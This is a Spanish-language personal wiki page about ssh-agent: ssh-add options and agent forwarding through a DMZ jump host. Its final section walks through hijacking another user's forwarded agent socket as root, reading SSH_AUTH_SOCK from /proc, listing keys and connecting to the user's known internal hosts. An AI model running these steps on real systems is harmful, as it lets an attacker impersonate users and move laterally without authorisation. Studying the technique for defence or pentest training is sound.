agente SSH (ssh-agent)

linux, ssh

opciones

- **ssh-add** <clave>

  : añade la clave indicada para su uso (si tiene contraseña, nos la pedirá al usar)

  - -t <> : duración de la identidad en el agente (por defecto, segundos)

  - ```
    s | S   seconds, m | M   minutes, h | H   hours, d | D   days, w | W   weeks
    ```

- **ssh-add** -K <clave>

  : añade permanentemente la clave para su uso

- **ssh-add** -L

  : lista las claves públicas de las claves existentes

- **ssh-add** -l

  : lista las claves

- **ssh-add** -d <clave>

  : elimina la clave

  - -D : elimina todas las claves

- **ssh-add** -x

  : bloquea agente

  - -X : desbloquea agente

ssh-agent (port forwarding)

- https://deephacking.tech/ssh-agent-hijacking-linux/
-

- ~/.ssh/config

  ```
  Host dmz
      HostName dmz
      User alice
  ```
  ```

```
    ForwardAgent yes
```

- Acceso ordenador DMZ (intermedio):

```
ssh dmz
# ssh -i ~/.ssh/clave_privada -A user@host
```

- ~/.ssh/config

```
Host internalserver
    HostName 192.168.10.30
    User alice
    ProxyJump dmz
    ForwardAgent yes
```

- Acceso ordenador interno a través del intermedio:

```
ssh internalServer
```

  - Si **ForwardAgent** està deshabilitado no se puede.
- verificar

- ~/.ssh/config

```
```

comprometer el servidor intermedio

- entrar como root
- mirar usuarios del sistema
- mirar si tienen procesos SSH abiertos:

```
pstree -p <USER> | grep ssh
```

- mirar variables del entorno del usuario:

```
cat /proc/<PID>/environ | tr '\0' '\n' | grep SSH_AUTH_SOCK
```

- mirar a quien corresponde el socket (root):

```
SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh-add -l
```

- mirar ordenadores remotos del usuario:

```
cat /home/<USER>/.ssh/known_hosts
```

- probar la conexión con esos servidores:

```
SSH_AUTH_SOCK=/tmp/ssh-XXXX41DN9o/agent.46200 ssh alice@internalserver
```

From:
https://matebcn.eu/ - **miguel angel torres egea**

Permanent link:
https://matebcn.eu/linux:ssh:agente

Last update: **05/05/2026 09:44**